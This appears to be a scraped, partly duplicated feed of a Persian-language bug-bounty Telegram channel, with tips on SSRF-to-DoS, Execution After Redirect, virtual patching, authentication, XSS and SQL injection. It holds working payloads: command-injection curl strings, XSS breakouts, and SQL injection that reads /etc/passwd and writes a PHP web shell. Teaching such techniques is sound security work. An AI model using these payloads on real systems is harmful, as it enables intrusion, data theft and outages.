آسیب پذیری SSRF =
یکی از آسیب پذیری های Server side هست که مهاجم میتونه سرور رو مجبور کنه به جایی که هکر میخواد درخواست بزنه. دوتا حالت داره یکی full SSRF و یکی هم Blind SSRF. توی حالت full SSRF ما نتیجه درخواستی که زدیم رو میبینیم، مثلا اگه به
1⃣ خوندن فایل های روی سرور.
2⃣ استفاده از سرور آسیب پذیر به عنوان یه Proxy و انجام port scan.
3⃣ انجام DOS.
4⃣ تبدیل به RCE.
5⃣ دسترسی به سرور های internal تارگت.
6⃣ به دست آوردن IP اصلی تارگت.
که الان میخوایم روش های تبدیل SSRF به DOS رو بگیم و بقیه موارد رو تو پست های بعدی کاور میکنیم.
- روش های تبدیل SSRF به DOS :
1⃣ درخواست زدن به 127.0.0.1. این باعث میشه سرور به خودش تو شبکه داخلیش درخواست بزنه. باید برای این یه اسکریپت بنویسیم که مثلا هر دقیقه 100 بار اینکارو انجام بده.
2⃣ روش قبلی خیلی بهینه نیست، چون درخواست تو شبکه داخلیه و پکت خیلی سبکه. اما اگه سرور رو مجبور کنیم به
3⃣ گفتیم که تو آسیب پذیری SSRF ما سرور رو مجبور میکنیم به جایی که ما میخوایم درخواست بزنه. حالا اگه مجبورش کنیم به لینک دانلود یه دیتای سنگین مثل لینک دانلود مستقیم سیستم عامل درخواست بزنه چی؟ سرور شروع میکنه به دانلود کردن اون دیتا و باعث میشه پهنای باند بیاد پایین. همچنین دیتایی که دانلود میشه تو مموری ذخیره میشه و مموری یه حجم محدود تری از هارد هست و اگه اینکارو تو چند Tab انجام بدیم احتمال خیلی زیاد سایت down میشه. وقتی هم که شروع به دانلود میکنه مرورگر حالتی مثل refresh دائم رو داره تا وقتی که کامل دانلود بشه و ثابت میکنه که داره دانلود میشه(این روش جایی پابلیک نیست و طبق ریسرچ خودم بهش رسیدم).
از این روش میشه به عنوان یکی از آخرین راه حل های به impact رسوندن blind SSRF هم استفاده کرد. حتی اگه نتونیم به RCE تبدیلش کنیم و یا Port Scan انجام بدیم، استفاده از این روش باعث میشه availability تارگت به خطر بیفته و blind SSRF ما به impact برسه.
#SSRF
#Research
#DOS
یکی از آسیب پذیری های Server side هست که مهاجم میتونه سرور رو مجبور کنه به جایی که هکر میخواد درخواست بزنه. دوتا حالت داره یکی full SSRF و یکی هم Blind SSRF. توی حالت full SSRF ما نتیجه درخواستی که زدیم رو میبینیم، مثلا اگه به
https://evil.com درخواست بزنیم، response اون سایت برامون میاد. ولی تو حالت blind درخواست زده میشه ولی ما response رو نمیبینیم.⁉️حالا چیکارا میشه باهاش کرد؟1⃣ خوندن فایل های روی سرور.
2⃣ استفاده از سرور آسیب پذیر به عنوان یه Proxy و انجام port scan.
3⃣ انجام DOS.
4⃣ تبدیل به RCE.
5⃣ دسترسی به سرور های internal تارگت.
6⃣ به دست آوردن IP اصلی تارگت.
که الان میخوایم روش های تبدیل SSRF به DOS رو بگیم و بقیه موارد رو تو پست های بعدی کاور میکنیم.
- روش های تبدیل SSRF به DOS :
1⃣ درخواست زدن به 127.0.0.1. این باعث میشه سرور به خودش تو شبکه داخلیش درخواست بزنه. باید برای این یه اسکریپت بنویسیم که مثلا هر دقیقه 100 بار اینکارو انجام بده.
2⃣ روش قبلی خیلی بهینه نیست، چون درخواست تو شبکه داخلیه و پکت خیلی سبکه. اما اگه سرور رو مجبور کنیم به
https://target.com که خودش هست درخواست بزنه چی؟ اینجا مجبورش میکنیم 3 way handshake و SSL handshake و Name resolution رو روی خودش انجام بده و چون هم sender و هم receiver خودش هست، منابع بیشتری نسبت به روش قبلی درگیر بشه و در نتیجه روش موثرتری هست برای DOS.3⃣ گفتیم که تو آسیب پذیری SSRF ما سرور رو مجبور میکنیم به جایی که ما میخوایم درخواست بزنه. حالا اگه مجبورش کنیم به لینک دانلود یه دیتای سنگین مثل لینک دانلود مستقیم سیستم عامل درخواست بزنه چی؟ سرور شروع میکنه به دانلود کردن اون دیتا و باعث میشه پهنای باند بیاد پایین. همچنین دیتایی که دانلود میشه تو مموری ذخیره میشه و مموری یه حجم محدود تری از هارد هست و اگه اینکارو تو چند Tab انجام بدیم احتمال خیلی زیاد سایت down میشه. وقتی هم که شروع به دانلود میکنه مرورگر حالتی مثل refresh دائم رو داره تا وقتی که کامل دانلود بشه و ثابت میکنه که داره دانلود میشه(این روش جایی پابلیک نیست و طبق ریسرچ خودم بهش رسیدم).
از این روش میشه به عنوان یکی از آخرین راه حل های به impact رسوندن blind SSRF هم استفاده کرد. حتی اگه نتونیم به RCE تبدیلش کنیم و یا Port Scan انجام بدیم، استفاده از این روش باعث میشه availability تارگت به خطر بیفته و blind SSRF ما به impact برسه.
#SSRF
#Research
#DOS
🔥18👍7❤2
یه آسیب پذیری ظاهرا بی ارزش =
کد زیر رو در نظر بگیرین:
سناریو اینه که این فایل مربوط به یکی از فایل های پنل ادمینه که طبیعتا باید فقط ادمین دسترسی داشته باشه، از داخل sessionی که برای هر کاربر ست کرده چک میکنه ببینه اگه سطح دسترسی ای که به این کاربر داده ادمین نبود redirect کنه به صفحه home.
مشکلی که تو این کد هست اینه که درسته redirect میکنه ولی جلوی اجرا شدن کد رو نمیگیره بعد redirect و باعث میشه مابقی کد هم اجرا بشن بعد redirect. ولی چه تهدیدی داره؟
1⃣ افشا شدن response بعد از redirect :
اگه با دستور زیر به اون مسیر curl بزنیم میتونیم کل ریسپانس رو ببینیم:
نکته : ما فقط میتونیم response رو ببینیم نه سورس کد اپلیکیشن. ممکنه برنامه نویس از توابعی استفاده کرده باشه که اطلاعات مهمی رو روی صفحه چاپ کنه مثل echo. برای درک بهتر کد زیر رو در نظر بگیرید :
2⃣ تست آسیب پذیری های مختلف!
کد زیر رو در نظر بگیرین:
آسیب پذیری ای که این کد داره Command Injectionهست. ولی نکته ای که مهمه اینه که این صفحه چون redirect میکنه خیلیا اینجا parameter fuzz انجام نمیدن و آسیب پذیری های این صفحه فقط با دسترسی ادمین قابل دیدن و تست کردنه، ولی بخاطر اشتباه برنامه نویس مهاجم میتونه parameter fuzz انجام بده و آسیب پذیری های مختلفی رو تست کنه که بسته به logic برنامه ممکنه آسیب پذیری های مختلفی رو داشته باشه. اگه باگ هانترین حتما به این نکته توجه داشته باشین موقع مواجه شدن با redirect ها.
نمونه پیلود با curl برای تست آسیب پذیری :
نکته مهم : کد های نوشته شده با php رو اگه تو سیستمتون اجرا کنین به درستی کار نمیکنن چون باید خودتون session کاربر رو ست کنین.
⁉️روش جلوگیری چیه؟
بعد redirect باید جلوی اجرا شدن ادامه کد رو بگیریم که میتونیم با توابع زیر انجام بدیم:
اسم آسیب پذیری :
Execution After Redirect = EAR
#EAR
#parameter_fuzz
کد زیر رو در نظر بگیرین:
<?php
session_start();
if($_SESSION['is_admin'] != true)
{
header("Location: /home.php");
}
// Application code is here
?>
سناریو اینه که این فایل مربوط به یکی از فایل های پنل ادمینه که طبیعتا باید فقط ادمین دسترسی داشته باشه، از داخل sessionی که برای هر کاربر ست کرده چک میکنه ببینه اگه سطح دسترسی ای که به این کاربر داده ادمین نبود redirect کنه به صفحه home.
مشکلی که تو این کد هست اینه که درسته redirect میکنه ولی جلوی اجرا شدن کد رو نمیگیره بعد redirect و باعث میشه مابقی کد هم اجرا بشن بعد redirect. ولی چه تهدیدی داره؟
1⃣ افشا شدن response بعد از redirect :
اگه با دستور زیر به اون مسیر curl بزنیم میتونیم کل ریسپانس رو ببینیم:
curl https://target.com/admin_panel.php
نکته : ما فقط میتونیم response رو ببینیم نه سورس کد اپلیکیشن. ممکنه برنامه نویس از توابعی استفاده کرده باشه که اطلاعات مهمی رو روی صفحه چاپ کنه مثل echo. برای درک بهتر کد زیر رو در نظر بگیرید :
<?php
if($_SESSION['is_admin'] != true)
{
hedaer("Location : /home.php");
}
echo "username : adm2ish";
echo "password : pa19ehw";
?>
2⃣ تست آسیب پذیری های مختلف!
کد زیر رو در نظر بگیرین:
<?php
session_start();
if($_SESSION['is_admin'] != true)
{
header("Location: /home.php");
}
if (isset($_GET['cmd']) && !empty($_GET['cmd'])) {
$admin_input = $_GET['cmd'];
echo system("ping $admin_input");
} else {
echo "No command provided.";
}
?>
آسیب پذیری ای که این کد داره Command Injectionهست. ولی نکته ای که مهمه اینه که این صفحه چون redirect میکنه خیلیا اینجا parameter fuzz انجام نمیدن و آسیب پذیری های این صفحه فقط با دسترسی ادمین قابل دیدن و تست کردنه، ولی بخاطر اشتباه برنامه نویس مهاجم میتونه parameter fuzz انجام بده و آسیب پذیری های مختلفی رو تست کنه که بسته به logic برنامه ممکنه آسیب پذیری های مختلفی رو داشته باشه. اگه باگ هانترین حتما به این نکته توجه داشته باشین موقع مواجه شدن با redirect ها.
نمونه پیلود با curl برای تست آسیب پذیری :
curl "https://target.com/admin_panel.php?cmd=1.1.1.1|whoami"
curl "https://target.com/admin_panel.php?cmd=1.1.1.1||whoami||"
curl "https://target.com/admin_panel.php?cmd=1.1.1.1;whoami"
نکته مهم : کد های نوشته شده با php رو اگه تو سیستمتون اجرا کنین به درستی کار نمیکنن چون باید خودتون session کاربر رو ست کنین.
⁉️روش جلوگیری چیه؟
بعد redirect باید جلوی اجرا شدن ادامه کد رو بگیریم که میتونیم با توابع زیر انجام بدیم:
<?php
exit()
die()
?>
اسم آسیب پذیری :
Execution After Redirect = EAR
#EAR
#parameter_fuzz
👍19❤7🔥1
امنیت اپلیکیشن قسمت دوم =
وقتی CVE جدید واسه یک نرم افزار یا محصول پابلیک میشه، مدتی طول میکشه تا برنامه نویس های اون نرم افزار آسیب پذیری مربوطه رو patch کنن و ورژن جدید اون نرم افزار رو منتشر کنن.
❓تو همچین حالتی همه سامانه هایی که از اون نرم افزار استفاده میکنن آسیب پذیر هستند، چه راهکاری وجود داره واسه جلوگیری از آسیب رسیدن به سامانه؟
مفهومی وجود داره با نام virtual patching. تا زمانی که روش جلوگیری یا ورژن patch شدهی نرم افزار منتشر بشه، باید signature های اون CVE رو در WAF بلاک کنیم که به صورت موقت جلوی آسیب پذیری گرفته بشه تا وقتی که به صورت کامل آسیب پذیری رو patch کنیم. و یا اگه آسیب پذیری هایی مثل blind OS command injection وجود داشت که به صورت مستقیم امکان بهره برداری وجود نداشت و نفوذگر حتما باید out of band میزد، با Firewall جلوی ارسال درخواست به بیرون رو بگیریم.
نکته برای هانترا : افرادی که به صورت mass hunting روی CVE ها کار میکنن، ممکنه تارگتی داشته باشن که CVE مربوطه رو داشته باشه ولی با WAF جلوشو گرفته باشن. این به این معنی نیست که آسیب پذیری وجود نداره و فقط باید از تکنیک های WAF Bypass استفاده کنن که یکی از ساده ترین روش ها پیدا کردن IP اصلی تارگته.
#application_security
#mass_hunting
#WAF
وقتی CVE جدید واسه یک نرم افزار یا محصول پابلیک میشه، مدتی طول میکشه تا برنامه نویس های اون نرم افزار آسیب پذیری مربوطه رو patch کنن و ورژن جدید اون نرم افزار رو منتشر کنن.
❓تو همچین حالتی همه سامانه هایی که از اون نرم افزار استفاده میکنن آسیب پذیر هستند، چه راهکاری وجود داره واسه جلوگیری از آسیب رسیدن به سامانه؟
مفهومی وجود داره با نام virtual patching. تا زمانی که روش جلوگیری یا ورژن patch شدهی نرم افزار منتشر بشه، باید signature های اون CVE رو در WAF بلاک کنیم که به صورت موقت جلوی آسیب پذیری گرفته بشه تا وقتی که به صورت کامل آسیب پذیری رو patch کنیم. و یا اگه آسیب پذیری هایی مثل blind OS command injection وجود داشت که به صورت مستقیم امکان بهره برداری وجود نداشت و نفوذگر حتما باید out of band میزد، با Firewall جلوی ارسال درخواست به بیرون رو بگیریم.
نکته برای هانترا : افرادی که به صورت mass hunting روی CVE ها کار میکنن، ممکنه تارگتی داشته باشن که CVE مربوطه رو داشته باشه ولی با WAF جلوشو گرفته باشن. این به این معنی نیست که آسیب پذیری وجود نداره و فقط باید از تکنیک های WAF Bypass استفاده کنن که یکی از ساده ترین روش ها پیدا کردن IP اصلی تارگته.
#application_security
#mass_hunting
#WAF
👍21❤4
https://bariskoparmal.com/2021/06/16/base64-encode-dosya-yukleme-fonksiyonunda-storedxss/
https://bariskoparmal.com/2022/02/09/sql-injection-to-different-attack-vectors/
#writeup
https://bariskoparmal.com/2022/02/09/sql-injection-to-different-attack-vectors/
#writeup
Barış Koparmal
Base64 Encode Dosya Yükleme Fonksiyonunda Stored XSS
Merhabalar, bu yazımda gerçekleştirdiğim sızma testinde Base64 Encode ile avatar yükleme fonksiyonunda bulduğum Stored XSS zafiyetinin exploit (sömürme) adımlarını kısaca anlatmaya çalışacağım. Web…
👍13
Authentication & Authorization =
پروتکل HTTP یک پروتکل stateless هست. اگه شخصی دوبار پشت سرهم به وب سرور درخواست بفرسته، HTTP متوجه نمیشه که این کاربر همون کاربر قبلیه که درخواست فرستاده بود یعنی وضعیت کاربر رو نگه نمیداره. واسه حل این مشکل پروتکل باید وضعیت کاربر رو جایی ذخیره کنیم(باید یک شناسه از کاربر رو نگه داریم). یکی از اولین ویژگی ها و مکانیزمی که واسه این کار به وجود اومد session بود. برنامه نویس بعد از login برای کاربر یک session سمت سرور ست میکرد که بتونه کاربر رو بشناسه و Authentication و Authorization رو میتونست هندل کنه. session سمت سرور معمولا داخل یک فایل ذخیره میشه و بعد بسته شدن مرورگر کاربر از بین میره.
❓حالا Authentication و Authorization چین؟ Authentication مشخص میکنه من کیم و ما تو این مرحله باید ثابت کنیم که چه کسی هستیم. Authorization بعد از مرحله Authentication میاد و مشخص میکنه کاربر به چه چیز هایی دسترسی داره(سطح دسترسی های مختلفی تو یک web application وجود داره، هر کاربر فقط باید بتونه اطلاعات خودش رو ویرایش کنه و ببینه و همچنین کاربر معمولی نباید به فایل های ادمین سایت دسترسی داشته باشه)
❓کوکی یا cookie چیه؟
بخاطر مشکلی که session داشت و بعد بستن مرورگر از بین میرفت، cookie رو ساختن. Cookie تو مرورگر کاربر ذخیره میشه و طول عمرش دست برنامه نویسه و به خاطر همین کاربر میتونه مدت زمان بیشتری لاگین باشه. Session ID که سمت سرور بود رو به صورت encrypt داخل cookie قرار میدن که کاربر نتونه دست کاریش کنه. به ازای هر درخواستی که کاربر میفرسته سمت سرور، مرورگر به صورت خودکار cookie رو هم واسه اون دامنه میفرسته.
❓ انواع روش های Authentication:
1⃣ Basic Authentication
2⃣ Dijest Authentication
3⃣ Form base Authentication
4⃣ Certificate Authentication
5⃣ Integrated Windows Authentication
6⃣ Token base Authentication(JWT in header)
7⃣ OAuth
8⃣ SSO
هر کدوم از روش های Authentication محدودیت ها و آسیب پذیری های مربوط به خودش رو داره. برای مثال :
- تو token base Authentication آسیب پذیری هایی مثل csrf و cors misconfiguration و cache deception به وجود نمیاد.
- وقتی اطلاعات تو cookie یا localstorage ذخیره میشه با xss میشه اطلاعات رو خوند ولی اگه تو header باشه با xss نمیتونیم بخونیمش.
- روش Basic Authentication آسیب پذیره به MITM.
- تو OAuth یک آسیب پذیری نسبتا بی ارزش مثل open redirect میتونه منجر به Account Takeover بشه.
- روش Integrated Windows Authentication مختص شبکه های مایکروسافتیه.
- روش های certificate Authentication و Integrated Windows Authentication رو تو شبکه های داخلی معمولا استفاده میکنن.
- اگه private key تو certificate Authentication لو بره منجر به mitm میشه.
- وقتی از session استفاده بشه کاربر نمیتونه دست کاریش کنه بر خلاف سایر موارد که سمت کاربر ذخیره میشه(برنامه نویس باید با encryption جلوی تغییر cookie/jwt و.... رو بگیره).
- تو form base Authentication اگه مواردی مثل Error handling رو انجام ندیم ممکنه آسیب پذیری username enumeration به وجود بیاد.
#Authentication
پروتکل HTTP یک پروتکل stateless هست. اگه شخصی دوبار پشت سرهم به وب سرور درخواست بفرسته، HTTP متوجه نمیشه که این کاربر همون کاربر قبلیه که درخواست فرستاده بود یعنی وضعیت کاربر رو نگه نمیداره. واسه حل این مشکل پروتکل باید وضعیت کاربر رو جایی ذخیره کنیم(باید یک شناسه از کاربر رو نگه داریم). یکی از اولین ویژگی ها و مکانیزمی که واسه این کار به وجود اومد session بود. برنامه نویس بعد از login برای کاربر یک session سمت سرور ست میکرد که بتونه کاربر رو بشناسه و Authentication و Authorization رو میتونست هندل کنه. session سمت سرور معمولا داخل یک فایل ذخیره میشه و بعد بسته شدن مرورگر کاربر از بین میره.
❓حالا Authentication و Authorization چین؟ Authentication مشخص میکنه من کیم و ما تو این مرحله باید ثابت کنیم که چه کسی هستیم. Authorization بعد از مرحله Authentication میاد و مشخص میکنه کاربر به چه چیز هایی دسترسی داره(سطح دسترسی های مختلفی تو یک web application وجود داره، هر کاربر فقط باید بتونه اطلاعات خودش رو ویرایش کنه و ببینه و همچنین کاربر معمولی نباید به فایل های ادمین سایت دسترسی داشته باشه)
❓کوکی یا cookie چیه؟
بخاطر مشکلی که session داشت و بعد بستن مرورگر از بین میرفت، cookie رو ساختن. Cookie تو مرورگر کاربر ذخیره میشه و طول عمرش دست برنامه نویسه و به خاطر همین کاربر میتونه مدت زمان بیشتری لاگین باشه. Session ID که سمت سرور بود رو به صورت encrypt داخل cookie قرار میدن که کاربر نتونه دست کاریش کنه. به ازای هر درخواستی که کاربر میفرسته سمت سرور، مرورگر به صورت خودکار cookie رو هم واسه اون دامنه میفرسته.
❓ انواع روش های Authentication:
1⃣ Basic Authentication
2⃣ Dijest Authentication
3⃣ Form base Authentication
4⃣ Certificate Authentication
5⃣ Integrated Windows Authentication
6⃣ Token base Authentication(JWT in header)
7⃣ OAuth
8⃣ SSO
هر کدوم از روش های Authentication محدودیت ها و آسیب پذیری های مربوط به خودش رو داره. برای مثال :
- وقتی اطلاعات تو cookie یا localstorage ذخیره میشه با xss میشه اطلاعات رو خوند ولی اگه تو header باشه با xss نمیتونیم بخونیمش.
- روش Basic Authentication آسیب پذیره به MITM.
- تو OAuth یک آسیب پذیری نسبتا بی ارزش مثل open redirect میتونه منجر به Account Takeover بشه.
- روش Integrated Windows Authentication مختص شبکه های مایکروسافتیه.
- روش های certificate Authentication و Integrated Windows Authentication رو تو شبکه های داخلی معمولا استفاده میکنن.
- اگه private key تو certificate Authentication لو بره منجر به mitm میشه.
- وقتی از session استفاده بشه کاربر نمیتونه دست کاریش کنه بر خلاف سایر موارد که سمت کاربر ذخیره میشه(برنامه نویس باید با encryption جلوی تغییر cookie/jwt و.... رو بگیره).
- تو form base Authentication اگه مواردی مثل Error handling رو انجام ندیم ممکنه آسیب پذیری username enumeration به وجود بیاد.
#Authentication
👍20❤7
معرفی یک passive recon کاربردی =
این سرویس به صورت passive این موارد رو انجام میده:
1⃣ passive port scan
2⃣ passive CVE scan
3⃣ passive vhost discovery(hostname)
https://internetdb.shodan.io/8.8.8.8
مهم: ورودی فقط آیپی میگیره. بدون API key و به صورت رایگان کار میکنه.
#passive_recon
این سرویس به صورت passive این موارد رو انجام میده:
1⃣ passive port scan
2⃣ passive CVE scan
3⃣ passive vhost discovery(hostname)
https://internetdb.shodan.io/8.8.8.8
مهم: ورودی فقط آیپی میگیره. بدون API key و به صورت رایگان کار میکنه.
#passive_recon
👍19
Forwarded from SoheilSec (Soheil Hashemi)
metasploit 15%
active + attacks 41%
mitre 15%
owasp top 10 29%
طبق تجمیع دو نظر سنجی آموزش اکتیودایرکتوری + حملات به صورت عملی میریم جلو تقریبی 20 تا قسمتی باید بشه که تمام حملات کاور بشه و سعی میکنم بیس شبکه بیشتر توضیح بدم چون میدونم این بیس شبکه بین کسانی که شروع میکنن خیلی کمرنگ هست
جهت حمایت از بنده کانال ساب کنید حتما نظرتتان کامنت بزارید که آموزش کاربردی جلو بره
https://youtube.com/@soheilsec
active + attacks 41%
mitre 15%
owasp top 10 29%
طبق تجمیع دو نظر سنجی آموزش اکتیودایرکتوری + حملات به صورت عملی میریم جلو تقریبی 20 تا قسمتی باید بشه که تمام حملات کاور بشه و سعی میکنم بیس شبکه بیشتر توضیح بدم چون میدونم این بیس شبکه بین کسانی که شروع میکنن خیلی کمرنگ هست
جهت حمایت از بنده کانال ساب کنید حتما نظرتتان کامنت بزارید که آموزش کاربردی جلو بره
https://youtube.com/@soheilsec
❤14👍1
https://youtu.be/FOhSQLbM0mI?si=ZeE07diDn87fivI1
رایتاپ دسترسی از یه کمپانی بزرگ(سناریو حمله پیچیده)
#writeup
رایتاپ دسترسی از یه کمپانی بزرگ(سناریو حمله پیچیده)
#writeup
YouTube
دسترسی کامل به یکی از بزرگ ترین کمپانی های IT دنیا!
در این ویدئو به آسیب پذیری اخیرمن روی یکی از بزرگ ترین کمپانی های IT دنیا پرداختیم، نحوه به چالش کشیدن یکی از بزرگ ترین کمپانی های IT در دنیا و بالا بردن سطح دسترسی!
منتظر ویدئوهای آینده باشید و از چنل حمایت کنید.
منتظر ویدئوهای آینده باشید و از چنل حمایت کنید.
❤13👍1
آسیب پذیری XSS =
وقتی ورودی کاربر داخل مقدار متغیر های JavaScript قرار بگیره، یکی از این 3 حالت رو شامل میشه:
برای XSS زدن تو حالت 1 و 2 میتونیم از این 2 روش استفاده کنیم:
1️⃣ میتونیم تگ <noscript> رو ببندیم و پیلود خودمون رو بنویسیم.
2️⃣میتونیم با ' یا " از مقدار متغیر break کنیم و کد خودمون رو بنویسیم و مابقی کد رو کامنت میکنیم.
تو حالت سوم ورودی کاربر داخل دوتا backtick قرار گرفته که میتونیم مستقیم کد JavaScript اجرا کنیم بدون break یا بستن تگ:
ساختار پیلود:
تارگت برای مورد سوم:
https://brutelogic.com.br/gym.php?p20=fuzz
#XSS
وقتی ورودی کاربر داخل مقدار متغیر های JavaScript قرار بگیره، یکی از این 3 حالت رو شامل میشه:
var xss= 'value1';
var xss= "value2";
var xss= `value3`;
برای XSS زدن تو حالت 1 و 2 میتونیم از این 2 روش استفاده کنیم:
1️⃣ میتونیم تگ <noscript> رو ببندیم و پیلود خودمون رو بنویسیم.
</noscript><img src=x onerror=alert()>
2️⃣میتونیم با ' یا " از مقدار متغیر break کنیم و کد خودمون رو بنویسیم و مابقی کد رو کامنت میکنیم.
var xss = 'value1';alert(origin);//';
تو حالت سوم ورودی کاربر داخل دوتا backtick قرار گرفته که میتونیم مستقیم کد JavaScript اجرا کنیم بدون break یا بستن تگ:
var xss= `${alert(origin)}`
ساختار پیلود:
${JS_code_is_here}
تارگت برای مورد سوم:
https://brutelogic.com.br/gym.php?p20=fuzz
#XSS
❤12🔥6👍2
جاهایی که محدودیت کاراکتر دارین تو XSS و نیاز به اجرای یک JS خارجی دارین، میتونین از این سایت استفاده کنین:
https://14.rs
#XSS
https://14.rs
#XSS
👍16❤5🔥1
👍13
Bug Bounty Methodology =
وقتی تارگت به این شکله:
*.target.tld
باید subdomain هارو پیدا کنیم و همه اونارو تست کنیم. میتونیم با افزونه logger++ که برای burp هست قسمتی از کارمون رو راحت تر کنیم. اول باید هرچی subdomain داریم تو مرورگر باز کنیم و با functionality های مختلف از جمله login و register کار کنیم. بعد از کار کردن با functionality های مختلف میتونیم از این سرچ ها استفاده کنیم.
1⃣ پیدا کردن response هایی که حاوی اطلاعاتی مثل email خودمون هستند.
کاربرد: تست cors , cache deception , xssi روی این صفحات.
2⃣ پیدا کردن subdomain هایی که تو response های مختلف وجود دارند.
تو این قسمت ممکنه به subdomain های جدیدی برسیم.
3⃣ پیدا کردن email های متعلق به کمپانی که تو response های مختلف افشا شدند:
میتونیم Reverse whois روی email ها انجام بدیم و به دارایی های بیشتری از اون شرکت برسیم.
#vulnerability_hunting
#bug_bounty_methodology
وقتی تارگت به این شکله:
*.target.tld
باید subdomain هارو پیدا کنیم و همه اونارو تست کنیم. میتونیم با افزونه logger++ که برای burp هست قسمتی از کارمون رو راحت تر کنیم. اول باید هرچی subdomain داریم تو مرورگر باز کنیم و با functionality های مختلف از جمله login و register کار کنیم. بعد از کار کردن با functionality های مختلف میتونیم از این سرچ ها استفاده کنیم.
1⃣ پیدا کردن response هایی که حاوی اطلاعاتی مثل email خودمون هستند.
کاربرد: تست cors , cache deception , xssi روی این صفحات.
Response.Body CONTAINS "myemail@gmail.com"
2⃣ پیدا کردن subdomain هایی که تو response های مختلف وجود دارند.
Response.Body CONTAINS ".target.com"
تو این قسمت ممکنه به subdomain های جدیدی برسیم.
3⃣ پیدا کردن email های متعلق به کمپانی که تو response های مختلف افشا شدند:
Response.Body CONTAINS "@company-name.tld"
میتونیم Reverse whois روی email ها انجام بدیم و به دارایی های بیشتری از اون شرکت برسیم.
#vulnerability_hunting
#bug_bounty_methodology
🔥28👍4
آسیب پذیری SQL injection =
از اونجایی که هرکسی با مقدمات این آسیب پذیری و اکسپلویتش به روش union رو بلده، خودِ آسیب پذیری رو توضیح نمیدیم و مستقیم میریم سراغ نکاتی که در این آسیب پذیری باید رعایت کنیم.
فرض کنین که با order by تعداد column های وب سایت رو به دست آوردیم و دستور union select ما به این شکله:
1⃣
بعد از مشاهده ی خروجی دستور union select میتونیم به جای عددهایی که تو خروجی به ما نشون داده میشه، پیلود XSS بزنیم. ولی باید پیلود رو به hex تبدیل کنیم و قبلش 0x رو قرار بدیم. برای مثال پیلود
و XSS اتفاق میفته.
2⃣
با دستور load_file میتونیم در mysql فایل بخونیم.
نکته: برای کار با فایل ها باید privilege لازم رو در دیتابیس و سیستم عامل داشته باشیم.
برای خوندن فایل passwd با SQLi:
3⃣
با دستور outfile میتونیم فایل بسازیم با محتوای دلخواه.
نکته: میتونیم کد مخرب رو درون یه فایل php قرار بدیم و RCE بگیریم.
واسه کار کردن این پیلود، همون طور که قبلا گفتیم باید دسترسی های لازم رو داشته باشیم. و همچنین باید فایل رو در مسیر وب سرور بسازیم که با مرورگر قابل دسترسی باشه و در آخر تنها باید فایل رو باز کنیم به شکل زیر:
4⃣
با استفاده از دستورات زیر داخل select میتونیم یوزر و نام دیتابیس جاری رو به دست بیاریم.
ممکنه یوزر sql ما به دیتابیس های بیشتری دسترسی داشته باشه در صورتی که خیلی وقتا فقط اطلاعات دیتابیس جاری رو dump میگیریم و اصلا سراغ بقیه دیتابیس ها نمیریم.
به دست آوردن لیست همه ی دیتابیس ها:
بعد از انتخاب دیتابیس مدنظر، مراحل اکسپلویت رو به روش group_concat که در اکسپلویت های عادی هم استفاده میکنیم جلو میبریم با این تفاوت که به جای ()database در پیلود که به دیتابیس جاری اشاره میکند، اسم دیتابیسی که به دست آوردیم رو قرار میدیم.
#SQLi
از اونجایی که هرکسی با مقدمات این آسیب پذیری و اکسپلویتش به روش union رو بلده، خودِ آسیب پذیری رو توضیح نمیدیم و مستقیم میریم سراغ نکاتی که در این آسیب پذیری باید رعایت کنیم.
فرض کنین که با order by تعداد column های وب سایت رو به دست آوردیم و دستور union select ما به این شکله:
app.php?id=-1 union select 1,2,3,4,5,6,7,8,9--
1⃣
تبدیل SQLi به XSS:بعد از مشاهده ی خروجی دستور union select میتونیم به جای عددهایی که تو خروجی به ما نشون داده میشه، پیلود XSS بزنیم. ولی باید پیلود رو به hex تبدیل کنیم و قبلش 0x رو قرار بدیم. برای مثال پیلود
<img/src/onerror=alert(document.domain)> وقتی تبدیل به hex میشه خروجی 3c696d672f7372632f6f6e6572726f723d616c65727428646f63756d656e742e646f6d61696e293e رو داریم. در نهایت پیلود ما به شکل زیر تغییر میکنه با اضافه کردن 0x قبل از مقدار hex.app.php?id=-1 union select 1,0x3c696d672f7372632f6f6e6572726f723d616c65727428646f63756d656e742e646f6d61696e293e,3,4,5,6,7,8,9--
و XSS اتفاق میفته.
2⃣
خوندن فایل های درون سرور:با دستور load_file میتونیم در mysql فایل بخونیم.
نکته: برای کار با فایل ها باید privilege لازم رو در دیتابیس و سیستم عامل داشته باشیم.
برای خوندن فایل passwd با SQLi:
app.php?id=-1 union select 1,load_file('/etc/passwd'),3,4,5,6,7,8,9--3⃣
ساختن و نوشتن فایل درون سرور:با دستور outfile میتونیم فایل بسازیم با محتوای دلخواه.
app.php?id=-1 union select 1,'hacked' into outfile '/tmp/hacked.txt',3,4,5,6,7,8,9--
نکته: میتونیم کد مخرب رو درون یه فایل php قرار بدیم و RCE بگیریم.
app.php?id=-1 union select 1,'<?php system($_GET['cmd']); ?>' into outfile '/var/www/html/shell.php',3,4,5,6,7,8,9--
واسه کار کردن این پیلود، همون طور که قبلا گفتیم باید دسترسی های لازم رو داشته باشیم. و همچنین باید فایل رو در مسیر وب سرور بسازیم که با مرورگر قابل دسترسی باشه و در آخر تنها باید فایل رو باز کنیم به شکل زیر:
shell.php?cmd=whoami
4⃣
دسترسی به سایر دیتابیس ها:با استفاده از دستورات زیر داخل select میتونیم یوزر و نام دیتابیس جاری رو به دست بیاریم.
database()
@@database
Version()
@@version
ممکنه یوزر sql ما به دیتابیس های بیشتری دسترسی داشته باشه در صورتی که خیلی وقتا فقط اطلاعات دیتابیس جاری رو dump میگیریم و اصلا سراغ بقیه دیتابیس ها نمیریم.
به دست آوردن لیست همه ی دیتابیس ها:
app.php?id=-1 union select 1,group_concat(schema_name),3,4,5,6,7,8,9 from information_schema.schemata--
بعد از انتخاب دیتابیس مدنظر، مراحل اکسپلویت رو به روش group_concat که در اکسپلویت های عادی هم استفاده میکنیم جلو میبریم با این تفاوت که به جای ()database در پیلود که به دیتابیس جاری اشاره میکند، اسم دیتابیسی که به دست آوردیم رو قرار میدیم.
#SQLi
🔥29👍1
آسیب پذیری CRLF injection =
اگه هکر به عنوان user input به وب اپلیکیشن کاراکترهای CRLF یا همون
%0d%0a
رو تزریق کنه و وب اپلیکیشن رو تحت تاثیر قرار بده آسیب پذیری به وجود میاد.
❓به صورت کلی CRLF چیه؟ همون کلید Enterخودمون.
❓چه زمانی آسیب پذیری به وجود میاد؟ وقتی که ورودی کاربر به صورت ناامن در یک response Header قرار بگیرد.
پیش نیازها:
1⃣ سواستفاده از CRLF برای bypass کردن:
